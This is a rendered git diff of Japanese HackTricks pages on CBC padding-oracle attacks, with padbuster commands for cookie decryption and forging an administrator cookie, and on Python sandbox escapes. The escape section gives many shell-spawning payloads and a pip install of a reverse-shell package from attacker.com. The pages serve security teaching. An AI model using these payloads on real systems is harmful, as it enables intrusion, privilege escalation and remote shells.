**何度もログイン**して、常に**同じクッキー**を取得する場合、アプリケーションに**何か** **問題**がある可能性があります。**送信されるクッキーは、ログインするたびに一意であるべきです**。クッキーが**常に** **同じ**であれば、それはおそらく常に有効であり、無効にする方法は**ありません** もし**何度もログイン**して、常に**同じクッキー**を受け取る場合、アプリケーションに**何か**が**間違っている**可能性があります。**送信されるクッキーは、ログインするたびにユニークであるべきです**。クッキーが**常に**同じであれば、おそらく常に有効であり、それを無効にする方法は**ありません**
今、**クッキーを変更**しようとすると、アプリケーションから**エラー**が返されることがわかります。\ 今、もし**クッキーを変更しようとすると**、アプリケーションから**エラー**が返されるがわかります。\
しかし、パディングをブルートフォース例えば、padbusterを使用すると、異なるユーザーに対して有効な別のクッキーを取得することができます。このシナリオは、padbusterに対して非常に脆弱である可能性があります。 しかし、パディングをBF例えばpadbusterを使用すると、異なるユーザーのための別の有効なクッキーを取得することができます。このシナリオは、padbusterに対して脆弱である可能性が非常に高いです。
### 参考文献 ### 参考文献
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,37 +1,41 @@
{% hint style="success" %} {% hint style="success" %}
AWSハッキングの学習と練習:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングの学習と練習: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksのサポート</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して**ハッキングトリックを共有**してください。 * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
# CBC - Cipher Block Chaining {% embed url="https://websec.nl/" %}
CBCモードでは、**前の暗号化されたブロックがIVとして使用**され、次のブロックとXORされます:
# CBC - シファーブロックチェーン
CBCモードでは、**前の暗号化ブロックがIVとして使用され**、次のブロックとXORされます
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png) ![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
CBCを復号するには、**逆の操作**が行われます: CBCを復号するには、**逆の** **操作**が行われます:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png) ![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
暗号化には**暗号化キー**と**IV**が必要です **暗号化** **キー**と**IV**を使用する必要があることに注意してください
# メッセージパディング # メッセージパディング
暗号化は**固定サイズのブロック**で行われるため、通常は**最後のブロック**を完了するために**パディング**が必要です。\ 暗号化は**固定サイズのブロック**で行われるため、**最後のブロック**の長さを完了するために**パディング**が通常必要です。\
通常は**PKCS7**が使用され、パディングはブロックを**完了するために必要なバイト数を繰り返す**ものです。たとえば、最後のブロックに3バイトが不足している場合、パディングは`\x03\x03\x03`になります。 通常、**PKCS7**が使用され、ブロックを完了するために**必要なバイト数**を**繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。
**8バイトの2つのブロック**のさらなる例を見てみましょう: **8バイトの長さの2つのブロック**の例を見てみましょう:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -40,43 +44,43 @@ CBCを復号するには、**逆の操作**が行われます:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
最後の例では、**最後のブロックが完全だったため、別のブロックがパディングのみで生成**されたことに注意してください 最後の例では、**最後のブロックが満杯だったため、パディングだけの別のブロックが生成されました**
# パディングオラクル # パディングオラクル
アプリケーションが暗号化されたデータを復号化すると、まずデータを復号化し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作を引き起こす**と、**パディングオラクルの脆弱性**が発生します。検出可能な動作には、**エラー**、**結果の欠如**、**応答の遅延**などがあります。 アプリケーションが暗号化されたデータを復号するとき、最初にデータを復号し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作を引き起こす**場合、**パディングオラクルの脆弱性**があります。検出可能な動作は、**エラー**、**結果の欠如**、または**応答の遅延**である可能性があります。
この動作を検出すると、**暗号化されたデータを復号**し、さらに**任意のクリアテキストを暗号化**することができます。 この動作を検出した場合、**暗号化されたデータを復号**し、さらには**任意の平文を暗号化**することができます。
## 悪用方法 ## どのように悪用するか
[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用してこの種の脆弱性を悪用するか、単に行います この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に行うことができます。
``` ```
sudo apt-get install padbuster sudo apt-get install padbuster
``` ```
サイトのクッキーが脆弱かどうかをテストするためには、次のように試すことができます: サイトのクッキーが脆弱かどうかをテストするために、次のことを試すことができます:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
``` ```
**エンコーディング0** は、**base64** が使用されていることを意味します(他にも利用可能なものがあります。ヘルプメニューを確認してください)。 **エンコーディング 0** は **base64** が使用されていることを意味します(他のオプションも利用可能ですので、ヘルプメニューを確認してください)。
この脆弱性を悪用して新しいデータを暗号化することもできます。たとえば、クッキーの内容が "**_**user=MyUsername**_**" であるとします。その内容を "\_user=administrator\_" に変更してアプリケーション内で特権を昇格させることができます。`paduster` を使用して `-plaintext**` パラメータを指定しても同様に行うことができます。 この脆弱性を**悪用して新しいデータを暗号化することもできます。例えば、クッキーの内容が "**_**user=MyUsername**_**" の場合、これを "\_user=administrator\_" に変更してアプリケーション内で権限を昇格させることができます。また、`paduster`を使用して -plaintext** パラメータを指定することでも可能です:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
もしサイトが脆弱性を持っている場合、`padbuster`は自動的にパディングエラーが発生する時を見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。 サイトが脆弱な場合、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
## 理論 ## 理論
**要約すると**異なる**パディング**を作成するために使用できる正しい値を推測して、暗号化されたデータの復号化を開始できます。その後、パディングオラクル攻撃は、**1、2、3などのパディングを作成する正しい値を推測**して、最後から最初に向かってバイトを復号化し始めます。 **要約**すると、すべての**異なるパディング**を作成するために使用できる正しい値を推測することで、暗号化されたデータの復号を開始できます。次に、パディングオラクル攻撃が、1、2、3などのパディングを作成する正しい値を推測しながら、最後から最初へバイトを復号し始めます。
![](<../.gitbook/assets/image (629) (1) (1).png>) ![](<../.gitbook/assets/image (629) (1) (1).png>)
**E0からE15**までのバイトで形成される**2つのブロック**を占める暗号化されたテキストがあると想像してください。\ **E0からE15**のバイトで構成された**2ブロック**の暗号化されたテキストがあると想像してください。\
**最後のブロック****E8**から**E15**)を**復号化**するために、ブロック全体が「ブロック暗号の復号化」を通過し、**中間バイトI0からI15**が生成されます。\ **最後の** **ブロック****E8**から**E15**)を**復号**するために、全ブロックが「ブロック暗号復号」を通過し、**中間バイトI0からI15**を生成します。\
最後に、各中間バイトは前の暗号化されたバイトE0からE7と**XOR**されます。つまり 最後に、各中間バイトは前の暗号化されたバイトE0からE7と**XOR**されます。したがって
* `C15 = D(E15) ^ E7 = I15 ^ E7` * `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6` * `C14 = I14 ^ E6`
@ -84,27 +88,47 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* `C12 = I12 ^ E4` * `C12 = I12 ^ E4`
* ... * ...
今、`C15`が`0x01`であるまで`E7`を変更することが可能で、これは正しいパディングでもあります。したがって、この場合は`\x01 = I15 ^ E'7` 今、**C15が`0x01`になるまで`E7`を** **変更**することが可能です。これも正しいパディングになります。したがって、この場合`\x01 = I15 ^ E'7`
したがって、`E'7`を見つけると、**I15を計算することが可能**です`I15 = 0x01 ^ E'7` E'7を見つける、**I15を計算することが可能です**`I15 = 0x01 ^ E'7`
これにより、**C15を計算**することが可能になります`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` これにより、**C15を計算することができます**`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
**C15**を知っていると、**C14を計算**することが可能になりますが、このときはパディング`\x02\x02`をブルートフォースします。 **C15**を知っているので、今度は**C14を計算することが可能です**が、今回はパディング`\x02\x02`をブルートフォースします。
このBFは前のものと同じくらい複雑です。0x02の値を持つ`E''15`を計算することが可能なので、`E''7 = \x02 ^ I15`を見つけるだけで、**`C14が0x02`と等しい`E'14`**を見つける必要があります。\ このBFは前のものと同じくらい複雑で、値が0x02の`E''15`を計算することが可能です:`E''7 = \x02 ^ I15`。したがって、**`C14`が`0x02`に等しい**ように生成する**`E'14`**を見つけるだけです。\
その後、同じ手順を実行してC14を復号化します:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** 次に、C14を復号するために同じ手順を行います:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**このチェーンに従って、暗号化されたテキスト全体を復号します。** **このチェーンをたどって、暗号化されたテキスト全体を復号します。**
## 脆弱性の検出 ## 脆弱性の検出
このアカウントで登録してログインします。\ アカウントを登録し、そのアカウントでログインします。\
**何度もログイン**しても**常に同じクッキー**を取得する場合、アプリケーションにはおそらく**何か問題**があります。ログインするたびに送信されるクッキーは**一意であるべき**です。クッキーが**常に同じ**であれば、おそらく常に有効であり、**無効にする方法はない**でしょう もし**何度もログイン**して、常に**同じクッキー**を受け取る場合、アプリケーションに**何か** **問題**がある可能性があります。**送信されるクッキーは、ログインするたびにユニークであるべきです**。クッキーが**常に**同じであれば、それはおそらく常に有効であり、無効にする方法は**ありません**
次に、**クッキーを変更**しようとすると、アプリケーションから**エラー**が返ってくることがわかります。\ 、**クッキーを変更**しようとすると、アプリケーションから**エラー**が返されることがわかります。\
ただし、パディングをBFするとたとえばpadbusterを使用、別のユーザーに対して有効な別のクッキーを取得できます。このシナリオはpadbusterに非常に脆弱である可能性が高いです。 しかし、パディングをブルートフォース例えばpadbusterを使用すると、異なるユーザーに対して有効な別のクッキーを取得することができます。このシナリオは、padbusterに対して非常に脆弱である可能性があります。
## 参考文献 ## 参考文献
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -10,16 +10,24 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}
これらは、Pythonサンドボックスの保護をバイパスし、任意のコマンドを実行するためのいくつかのトリックです。 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
これらはPythonサンドボックスの保護をバイパスし、任意のコマンドを実行するためのいくつかのトリックです。
## コマンド実行ライブラリ ## コマンド実行ライブラリ
最初に知っておくべきことは、すでにインポートされているライブラリを使用してコードを直接実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです: 最初に知っておくべきことは、すでにインポートされているライブラリを使用して直接コードを実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです
```python ```python
os.system("ls") os.system("ls")
os.popen("ls").read() os.popen("ls").read()
@ -52,13 +60,13 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py') execfile('/usr/lib/python2.7/os.py')
system('ls') system('ls')
``` ```
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. 覚えておいてください、_**open**_ と _**read**_ 関数は、python サンドボックス内の **ファイルを読み取る** ためや、**バイパス**するために **実行できるコードを書く** ために役立ちます。
{% hint style="danger" %} {% hint style="danger" %}
**Python2 input()** 関数は、プログラムがクラッシュする前に python コードを実行することを可能にします。 **Python2 input()** 関数は、プログラムがクラッシュする前に python コードを実行することを可します。
{% endhint %} {% endhint %}
Python は **最初に現在のディレクトリからライブラリをロードしようとします**(次のコマンドは python がモジュールをどこからロードしているかを表示します): `python3 -c 'import sys; print(sys.path)'` Python は **最初に現在のディレクトリからライブラリを読み込もうとします**(次のコマンドは python がモジュールをどこから読み込んでいるかを表示します): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (559).png>) ![](<../../../.gitbook/assets/image (559).png>)
@ -66,9 +74,9 @@ Python は **最初に現在のディレクトリからライブラリをロー
### デフォルトパッケージ ### デフォルトパッケージ
ここに **プリインストールされた** パッケージのリストがあります: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ ここに **プリインストールされた** パッケージの **リスト**があります: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
pickle から、python 環境がシステムにインストールされた **任意のライブラリをインポートする** ことができることに注意してください。\ pickle から、python 環境がシステムにインストールされた **任意のライブラリをインポート** できることに注意してください。\
例えば、次の pickle は、ロードされると pip ライブラリをインポートします: 例えば、次の pickle は、読み込まれると pip ライブラリをインポートします:
```python ```python
#Note that here we are importing the pip library so the pickle is created correctly #Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it #however, the victim doesn't even need to have the library installed to execute it
@ -97,13 +105,13 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %} {% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
{% hint style="info" %} {% hint style="info" %}
このパッケージは`Reverse`と呼ばれています。しかし、リバースシェルを終了すると、残りのインストールが失敗するように特別に作成されているため、**サーバーに余分なPythonパッケージがインストールされたままにならない**ことに注意してください このパッケージは`Reverse`と呼ばれています。しかし、リバースシェルを終了すると、残りのインストールが失敗するように特別に作成されているため、**サーバーに余分なPythonパッケージがインストールされたままにならない**ようになっています
{% endhint %} {% endhint %}
## PythonコードのEval ## PythonコードのEval
{% hint style="warning" %} {% hint style="warning" %}
execは複数行の文字列と";"を許可しますが、evalは許可しませんワルラス演算子を確認してください execは複数行の文字列と";"を許可しますが、evalは許可しませんワルラス演算子を確認してください
{% endhint %} {% endhint %}
特定の文字が禁止されている場合は、**制限を回避するために** **hex/octal/B64** 表現を使用できます: 特定の文字が禁止されている場合は、**制限を回避するために** **hex/octal/B64** 表現を使用できます:
@ -150,9 +158,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
``` ```
## エンコーディングを通じた保護の回避 (UTF-7) ## Bypassing protections through encodings (UTF-7)
[**このレポート**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) では、UFT-7を使用して、見かけ上のサンドボックス内で任意のPythonコードをロードして実行します: [**このレポート**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) では、UFT-7を使用して、見かけ上のサンドボックス内で任意のPythonコードをロードして実行します
```python ```python
assert b"+AAo-".decode("utf_7") == "\n" assert b"+AAo-".decode("utf_7") == "\n"
@ -165,9 +173,9 @@ return x
``` ```
他のエンコーディングを使用してバイパスすることも可能です。例えば、`raw_unicode_escape`や`unicode_escape`です。 他のエンコーディングを使用してバイパスすることも可能です。例えば、`raw_unicode_escape`や`unicode_escape`です。
## 呼び出しなしのPython実行 ## コールなしのPython実行
呼び出しを行うことが**できない**Pythonジャイル内にいる場合でも、**任意の関数、コード**、および**コマンド**を**実行する**方法はいくつかあります。 コールを行うことが**できない**Pythonジャイルの中にいる場合でも、**任意の関数、コード**、および**コマンド**を**実行する**方法はいくつかあります。
### [デコレーター](https://docs.python.org/3/glossary.html#term-decorator)を使用したRCE ### [デコレーター](https://docs.python.org/3/glossary.html#term-decorator)を使用したRCE
```python ```python
@ -193,11 +201,11 @@ class _:pass
``` ```
### RCEオブジェクトの作成とオーバーロード ### RCEオブジェクトの作成とオーバーロード
クラスを**宣言**し、そのクラスの**オブジェクト**を**作成**できる場合、**直接呼び出すことなく****異なるメソッド**を**書き換え/上書き**することができます。 クラスを**宣言**し、そのクラスの**オブジェクト**を**作成**できる場合、**直接呼び出すことなく**トリガーされる**異なるメソッド**を**書き換え/上書き**することができます。
#### カスタムクラスによるRCE #### カスタムクラスによるRCE
いくつかの**クラスメソッド**_既存のクラスメソッドを上書きするか、新しいクラスを作成することによって_)を修正して、**直接呼び出すことなく**トリガーされたときに**任意のコード**を**実行**させることができます。 いくつかの**クラスメソッド**(既存のクラスメソッドを上書きするか、新しいクラスを作成することによって)を修正して、**直接呼び出すことなく**トリガーされたときに**任意のコード**を**実行**させることができます。
```python ```python
# This class has 3 different ways to trigger RCE without directly calling any function # This class has 3 different ways to trigger RCE without directly calling any function
class RCE: class RCE:
@ -247,7 +255,7 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")')
``` ```
#### [メタクラス](https://docs.python.org/3/reference/datamodel.html#metaclasses)を使ったオブジェクトの作成 #### [メタクラス](https://docs.python.org/3/reference/datamodel.html#metaclasses)を使ってオブジェクトを作成する
メタクラスが私たちに許可する重要なことは、**コンストラクタを直接呼び出すことなくクラスのインスタンスを作成する**ことであり、ターゲットクラスをメタクラスとして新しいクラスを作成することです。 メタクラスが私たちに許可する重要なことは、**コンストラクタを直接呼び出すことなくクラスのインスタンスを作成する**ことであり、ターゲットクラスをメタクラスとして新しいクラスを作成することです。
```python ```python
@ -266,7 +274,7 @@ Sub['import os; os.system("sh")']
``` ```
#### 例外を伴うオブジェクトの作成 #### 例外を伴うオブジェクトの作成
**例外がトリガーされる**と、**Exception**のオブジェクトが**作成され**、コンストラクタを直接呼び出す必要はありません([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)のトリック): **例外がトリガーされる**と、**Exception**のオブジェクトが**作成され**、あなたがコンストラクタを直接呼び出す必要はありません([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)からのトリック):
```python ```python
class RCE(Exception): class RCE(Exception):
def __init__(self): def __init__(self):
@ -332,7 +340,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
`__builtins__`がない場合、**すべてのグローバル関数**`open`、`import`、`print`など)が**ロードされていない**ため、何もインポートしたり、ファイルを読み書きしたりすることはできません。\ `__builtins__`がない場合、**すべてのグローバル関数**`open`、`import`、`print`など)が**ロードされていない**ため、何もインポートしたり、ファイルを読み書きしたりすることはできません。\
しかし、**デフォルトではPythonは多くのモジュールをメモリにインポートします**。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な**機能を**インポートしている**ものもあり、それにアクセスすることで**任意のコード実行**を得ることができます。 しかし、**デフォルトではPythonは多くのモジュールをメモリにインポートします**。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な**機能を**インポートしている**ものもあり、それにアクセスすることで**任意のコード実行**を得ることができます。
以下の例では、**無害な**モジュールのいくつかを**悪用**して、**危険な****機能**に**アクセス**する方法を観察できます。 以下の例では、**無害な**モジュールのいくつかを**悪用**して、内部の**危険な****機能**に**アクセス**する方法を観察できます。
**Python2** **Python2**
```python ```python
@ -374,7 +382,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes # Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
``` ```
[**以下により大きな関数があります**](./#recursive-search-of-builtins-globals) は、**builtins**を見つけることができる**場所**を数十/**数百**見つけるためのものです。 [**以下により大きな関数があります**](./#recursive-search-of-builtins-globals) は、**builtins** を見つけることができる **場所** を数十/**数百** 見つけるためのものです。
#### Python2 と Python3 #### Python2 と Python3
```python ```python
@ -416,15 +424,15 @@ class_obj.__init__.__globals__
